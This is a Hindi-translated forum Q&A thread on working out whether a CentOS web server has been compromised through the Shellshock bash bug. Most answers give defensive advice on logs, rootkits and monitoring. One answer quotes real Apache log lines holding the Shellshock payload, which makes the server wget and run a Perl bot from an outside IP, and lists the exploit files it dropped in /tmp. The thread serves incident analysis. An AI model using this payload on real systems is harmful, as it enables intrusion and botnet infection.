शेलशॉक: मुझे कैसे पता चलेगा कि मेरे सर्वर से छेड़छाड़ की गई है


18

तीन प्रश्न जो मुझे आशा है कि कोई उत्तर देने में मदद कर सकता है:

  1. मुझे कैसे पता चलेगा कि शेलशॉक बग के कारण मेरे सर्वर में पहले से ही समझौता है?
  2. यदि यह समझौता किया गया था, तो क्या कोई विशेष फ़ोल्डर है जहां मुझे दुर्भावनापूर्ण फ़ाइलों की तलाश करनी चाहिए?
  3. दुर्भावनापूर्ण फ़ाइल कैसे दिखती है?

मैं CentOS 6, LEMP स्टैक चला रहा हूं

जवाबों:


36

मुझे कैसे पता चलेगा कि शेलशॉक बग के कारण मेरे सर्वर में पहले से ही समझौता है?

तुम नहीं। यह एक सुरक्षा भेद्यता का विचार है। यदि आपको क्लिक करना है तो पटाखे अंदर आने दें? ठीक है / रद्द करें यह बहुत अधिक भेद्यता नहीं होगी।

आपके पास अपने हमले वैक्टर के लॉग की जांच करने के लिए कुछ किस्मत हो सकती है, लेकिन यह देखते हुए कि इतनी सारी सेवाएं कमजोर हैं और उनमें से सभी हर पहुंच को लॉग नहीं करते हैं, संभवतः यह संभव नहीं है कि किसी हमले को पाया जाए।

यदि यह समझौता किया गया था, तो क्या कोई विशेष फ़ोल्डर है जहां मुझे दुर्भावनापूर्ण फ़ाइलों की तलाश करनी चाहिए?

नहीं, एक दुर्भावनापूर्ण फ़ाइल कहीं भी हो सकती है।

आम रूटकिट अपने आप में स्थापित /rootया /या /tmpया बाइनरी पथ में से एक है, लेकिन वास्तव में वे कहीं भी हो सकता है। उनके पास एक वास्तविक सेवा के समान नाम हो सकता है या कुछ "महत्वपूर्ण" जैसा " IPTables" या " " दिख kernel-binसकता है, लेकिन वे पात्रों के यादृच्छिक तार या वास्तविक बाइनरी के रूप में एक ही नाम (बस एक अलग पथ में) हो सकते हैं। आप एक बहुत स्पष्ट rootkit लोडिंग /etc/rc.localया के माध्यम से कनेक्शन बना सकते हैं netstat -neopa। में संदिग्ध प्रक्रिया के नाम देखें top -c

रूटकिट को खोजने के लिए एक कम सामान्य और बहुत अधिक कठिन एक पुस्तकालय को बदल देता है या खुद को एक शिम लाइब्रेरी के रूप में लोड करता है और सिस्टम कॉल को स्वीकार करता है। यह तब तक लगभग असंभव है जब तक आप अपने सिस्टम पर चल रही हर एक चीज को स्ट्रेस / लेट्रेस न करें और किसी ज्ञात-अच्छे सिस्टम या सोर्स कोड के अपेक्षित व्यवहार के साथ व्यवहार की तुलना करें।

यह सिस्टम को फिर से लोड करने के लिए अधिक तेज़, आसान और अधिक निर्णायक होगा।

दुर्भावनापूर्ण फ़ाइल कैसे दिखती है?

संभवतः किसी अन्य नियमित ईएलएफ बाइनरी या लाइब्रेरी की तरह। यह एक स्क्रिप्ट भी हो सकती है।

निष्कर्ष में, यदि आपको लगता है कि आपके सिस्टम से समझौता किया गया है, तो सिस्टम से इस तरह व्यवहार करें जैसे कि समझौता किया गया है और आवश्यक उपाय करें।


14
+1 "पटाखे अंदर आने दो?" एक अन्य नोट पर ... यदि आपको लिनक्स पर "IPTables" नाम की कोई चीज दिखाई देती है, तो बहुत संदेह करें। UNIXian CapsPhobic है।
बिशप

अगर आपको लगता है कि आपके सिस्टम से छेड़छाड़ की गई है, तो सिस्टम से इस तरह व्यवहार करें जैसे कि समझौता किया गया है और आवश्यक उपाय करें। इसका मतलब यह है कि हर संभव प्रणाली जो bashस्थापित है और एक नेटवर्क केबल में प्लग किया गया है, है ना?
फेडरिको पोलोनी

@FedericoPoloni केवल अगर कोई नेटवर्क के माध्यम से आपके शेल तक पहुंच प्राप्त करने में सक्षम है। लेकिन अन्यथा आप बिल्कुल सही हैं।
स्काइ

@FedericoPoloni मुझे यकीन नहीं है कि अगर यह एक बुद्धिमान विकल्प है, क्योंकि मुझे लगातार सभी प्रणालियों को नीचे रखना होगा, क्योंकि मैं कभी भी 100% सुनिश्चित नहीं हो सकता कि वे समझौता नहीं किए गए थे, और गंभीरता से कोई भी यह सुनिश्चित नहीं कर सकता है कि जब तक उनकी प्रणाली समझौता नहीं करती वे एक बहुत ही आशावादी आइडी * टी हैं। यदि आपको संदेह है कि आपके सिस्टम को उस तरह से व्यवहार नहीं करना चाहिए, जैसा कि आपको इसकी जाँच करनी चाहिए और इसके नेटवर्क ट्रैफ़िक को अधिमानतः A CLEAN OS से लेना चाहिए। मुझे लगता है कि आपको छेड़छाड़ के कोई सबूत नहीं हैं, आपको छेदों को ठीक करने के लिए उपाय नहीं करना है। अन्यथा हमें सभी प्रणालियों को 24x7 को लगातार पुनर्स्थापित करना होगा!
फ्रैंक वालर

@FrankWaller मैं पूरी तरह से सहमत हूं। नहीं है हमेशा एक सुदूर संभावना है कि एक प्रणाली समझौता किया गया है और हमलावर कुशल पर्याप्त किसी भी निशान छोड़ करने के लिए नहीं है, लेकिन हम इस मामले को पूरा करने के 24x7 पुनः स्थापित नहीं कर सकते।
फेडेरिको पोलोनी

21

शेलशॉक एक कीड़ा नहीं है, ताकि देखने के लिए कोई फाइल न हो। शेलशॉक प्रविष्टि प्राप्त करने के लिए एक नेटवर्क पर हमला करने का एक तरीका है। एक बार अंदर पता चल गया कि हमलावर क्या करेगा।


3
यह उत्तर मुझे थोड़ा उलझा हुआ लगता है - शायद यह जल्दबाज़ी में धराशायी हो गया, या उत्तर के बजाय टिप्पणी होनी चाहिए। ज़रूर, यह एक कीड़ा नहीं है (यह एक भेद्यता है, मैलवेयर का एक टुकड़ा नहीं है), लेकिन यह स्पष्ट नहीं है कि आपको क्यों लगता है कि यह प्रासंगिक है या इसका मतलब है कि "देखने के लिए कोई फ़ाइलें नहीं हैं"। शेलशॉक नेटवर्क पर हमला करने का एक तरीका नहीं है; यह एक मशीन में तोड़ने का एक तरीका है। यह एक मशीन पर हमला है, नेटवर्क नहीं।
डीडब्ल्यू

2
@DW बहुत रसीला है, लेकिन ओपी की चिंता का सीधा जवाब है is there a particular folder where I should look for malicious files

5

मैंने बग के दोहन का एक प्रयास देखा है, जो आईआरसी बॉट स्थापित करेगा /var/tmp/x। लेकिन सामान्य तौर पर देखने के लिए कोई विशेष फाइल नहीं होती है, क्योंकि वे कहीं भी या कहीं भी हो सकती हैं।

यदि आपने वेब सर्वर के माध्यम से समझौता किया है तो वेब सर्वर उपयोगकर्ता के स्वामित्व वाली कोई भी नई फ़ाइल या प्रक्रिया संदिग्ध होगी।

यदि किसी हमलावर bashने सिस्टम में प्रवेश करने के लिए पहले बग का उपयोग किया और बनने के लिए एक स्थानीय भेद्यता के लिए root, तो यह स्पॉट करना लगभग असंभव हो सकता है।

इसी तरह के सवाल पर भी गौर करें ।


वेब सर्वर उपयोगकर्ता स्वामित्व विचार के लिए +1
Xan

4

मैं सुपरजामी के उत्तर की प्रतिध्वनि करूंगा और कहूंगा कि यदि आपकी प्रणाली कमजोर है तो आपको इसे समझौता मान लेना चाहिए।

यदि आप अपाचे चला रहे हैं तो आप शेलशॉक घुसपैठ के प्रयासों के लिए लॉग को निम्न कमांड के साथ देख सकते हैं:

[root@server ~]# grep cgi /var/log/httpd/access*|egrep "};|}\s*;"

यह कमांड Apache के एक्सेस लॉग्स से "cgi" वाली सभी लाइनों को निकालता है (डिफ़ॉल्ट रूप से access_log, access_log.1, access_log.2 आदि द्वारा) फिर इसे regex के साथ egrep में पाइप करता है।

(स्रोत: http://linux.slashdot.org/story/14/09/24/1638207/remote-exploit-vulnerability-found-in-bash )


ध्यान दें कि अपाचे के डिफ़ॉल्ट कॉन्फ़िगरेशन के लिए, यह केवल गंतव्य URL में और "उपयोगकर्ता-एजेंट" और "रेफर" हेडर में हमले दिखाएगा। "कुकी" या "X-Ploit" जैसे शीर्षलेख में हमला लॉग नहीं किया जाएगा।
मार्क

1
@ मर्क बिल्कुल, मुझे इसका उल्लेख करना चाहिए था।
राल्फ

1
बेशक, पहली बात यह है कि किसी भी स्वाभिमानी हमलावर ने लॉग से हमले के किसी भी संकेत को मिटा दिया है ... यही कारण है कि लॉग को लिखना चाहिए-एक बार और रिमोट!
जोर्ग डब्ल्यू मित्तग

4

चूंकि शेलशॉक के लिए कई हमले वैक्टर हैं, उनमें से कुछ अभी तक आम जनता के लिए अज्ञात हैं या कस्टम सीजीआई स्क्रिप्ट के कारण हैं, यह बताने का कोई निश्चित तरीका नहीं है कि आप समझौता किए गए हैं या नहीं।

सामान्य रूप से "चलो देखते हैं कि क्या कुछ सिस्टम फाइलें बदल गई हैं या कुछ और संदिग्ध हाल ही में हुआ है" आप अपने सर्वर व्यवहार पर अपनी नजर रखना चाहते हैं।

  1. क्या अचानक बहुत अधिक नेटवर्क ट्रैफ़िक है?
  2. क्या सीपीयू / मेमोरी उपयोग बहुत बदल गया है?
  3. क्या डिस्क स्थान को खाने से कुछ होता है या आमतौर पर I / O बहुत अधिक होता है?
  4. क्या netstatअजीब नेटवर्क कनेक्शन ps auxदिखाते हैं या ऐसी प्रक्रियाएँ दिखाते हैं जिन्हें आप नहीं पहचानते हैं?
  5. क्या आपका सर्वर अचानक पहले की तुलना में बहुत अधिक ई-मेल भेजता है?

यदि आपके पास उचित सर्वर स्वास्थ्य निगरानी (जैसे Zabbix) ऊपर और चल रही है, तो यह आपको सुरक्षा उल्लंघनों का पता लगाने में भी मदद कर सकता है। आप MD5 / SHA sums की सिस्टम फ़ाइलों की तुलना एक अच्छे अच्छे बैकअप से कर सकते हैं।

बस मूल रूप से आपके सर्वर के साथ समझौता किया गया था और आप जिस चीज के बारे में सोच सकते हैं, उसकी जांच करें।


4

मुझे बस एक समझौता किए गए पुराने प्लेस्क सिस्टम को साफ करने का आनंद था। पहली चीज जिसने इसे दूर किया, वह कई प्रक्रियाएं थीं, जो मूल स्कैनिंग सर्वर से कोड डाउनलोड करने के लिए कई बंदरगाहों और अन्य लोगों को सुनना शुरू कर रही थीं।

    lsof -i -n
...
        perl       1899      user100     3u  IPv4 227582583      0t0  TCP 87.106.215.123:49859->94.102.63.238:https (SYN_SENT)
        perl       1999      user101     3u  IPv4 227582597      0t0  TCP 87.106.215.123:49861->94.102.63.238:https (SYN_SENT)
        perl       2016       wwwrun     3u  IPv4 227549964      0t0  TCP 87.106.215.123:56263->94.102.63.238:https (ESTABLISHED)
...

लॉग्स के बाद मुझे पता चला कि अंतिम छेद एक cgi_wrapperस्क्रिप्ट थी, कुछ ऐसा था जो सिस्टम को बचाने और ढालने वाला था जो वास्तव में छेद को सुरक्षा में बदल देता है। जांच और सफल हमले से कुछ लॉग लाइनें यहां दी गई हैं:

ये एक्सेस_लॉग से लाइनें हैं, क्योंकि यह सिर्फ एक नमूना है, 200 में से दो लाइनों पर ध्यान दें, जबकि अन्य 404 के साथ विफल होते हैं। आपको उन लाइनों के बारे में चिंता करने की ज़रूरत नहीं है जिनके पास 404 है क्योंकि ये सफल नहीं हुए थे। 200 के साथ लोगों ने हालांकि किया। यहां इन हमलों पर पैटर्न हमेशा एक जैसा होता है: 1. एक कमजोर सीजी स्क्रिप्ट का उपयोग करें और एक पर्ल स्क्रिप्ट को डाउनलोड करने और निष्पादित करने के लिए शेलशॉक शोषण का उपयोग करें, फिर से पर्ल स्क्रिप्ट को हटा दें। पर्ल स्क्रिप्ट वास्तव में कुछ स्रोत फाइलें डाउनलोड करेगा (tgz) उन्हें संकलित करें और उन्हें चलाएं, मैंने जो देखा है, उसमें कम से कम एक पिछले दरवाजे और एक स्वचालित अपडेट तंत्र शामिल हैं, साथ ही साथ उच्च निष्पादन विशेषाधिकार प्राप्त करने की कोशिश करने और हासिल करने के लिए कारनामे जैसा दिखता है। सभी प्रारंभिक स्क्रिप्ट वास्तव में आवरण के द्वारा प्रदान किए गए उपयोगकर्ता के रूप में निष्पादित की जाती हैं, जबकि बाद में सेवाओं को 1 के PPID (रूट प्रक्रिया से शुरू) के साथ शुरू किया जाता है।

94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-sys/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /phppath/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php5-cli? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /phppath/cgi_wrapper? HTTP/1.1" 200 9 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-sys/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /phppath/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php5-cli? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /phppath/cgi_wrapper? HTTP/1.1" 200 9 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"

और यहाँ संगत error_log लाइनें हैं:

[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] File does not exist: /srv/www/vhosts/default/htdocs/cgi-sys
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/cgi-bin/cgi_wrapper/php
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] --2014-09-28 00:41:03--  http://94.102.63.238/shell.pl
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Connecting to 94.102.63.238:80...
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] connected.
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] HTTP request sent, awaiting response...
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 200 OK
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Length:
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 17079
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]  (17K)
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]  [text/x-perl]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Saving to: `/tmp/bot.pl'
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]      0K
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 100%
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]   626K
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] =0.03s
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 2014-09-28 00:41:03 (626 KB/s) - `/tmp/bot.pl' saved [17079/17079]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5-cli
[Sun Sep 28 00:46:03 2014] [warn] [client 94.102.63.238] Timeout waiting for output from CGI script /srv/www/cgi-bin/cgi_wrapper/cgi_wrapper
[Sun Sep 28 00:46:03 2014] [error] [client 94.102.63.238] (70007)The timeout specified has expired: ap_content_length_filter: apr_bucket_read() failed
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] File does not exist: /srv/www/vhosts/default/htdocs/cgi-sys
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/cgi-bin/cgi_wrapper/php
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] --2014-09-28 01:29:34--  http://94.102.63.238/shell.pl
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Connecting to 94.102.63.238:80...
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] connected.
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] HTTP request sent, awaiting response...
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 200 OK
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Length:
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 17079
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]  (17K)
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]  [text/x-perl]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Saving to: `/tmp/bot.pl'
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]      0K
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 100%
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]   575K
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] =0.03s
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 2014-09-28 01:29:34 (575 KB/s) - `/tmp/bot.pl' saved [17079/17079]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5-cli
[Sun Sep 28 01:34:34 2014] [warn] [client 94.102.63.238] Timeout waiting for output from CGI script /srv/www/cgi-bin/cgi_wrapper/cgi_wrapper
[Sun Sep 28 01:34:34 2014] [error] [client 94.102.63.238] (70007)The timeout specified has expired: ap_content_length_filter: apr_bucket_read() failed

/ Tmp में डाउनलोड की गई फ़ाइलें जैसा कि कोई अनुमान लगा सकता है, मेरे पास bot.pl फ़ाइल नहीं है क्योंकि यह तुरंत हटा दी गई है।

-rwxr-xr-x 1 user100  psacln   187 Sep 29 01:02 check
-rwxr-xr-x 1 user100  psacln  9849 Sep 29 03:35 exploit
drwxr-xr-x 4 user100  psacln  4096 Sep 29 03:19 expls
-rw-r--r-- 1 user100  psacln 91693 Sep 29 03:13 expls.tgz
-rw-r--r-- 1 user100  psacln   178 Sep 29 03:35 payload.c

cd ./expls
drwxr-xr-x 2 user100  psacln  4096 Sep 29 03:13 1
drwxr-xr-x 2 user100  psacln  4096 Sep 29 03:13 2
-rwxr-xr-x 1 user100  psacln 23040 Sep 29 03:19 bcm
-rw-r--r-- 1 user100  psacln 15695 Sep 29 02:46 bcm.c
-rwxr-xr-x 1 user100  psacln 13175 Sep 29 03:19 bug
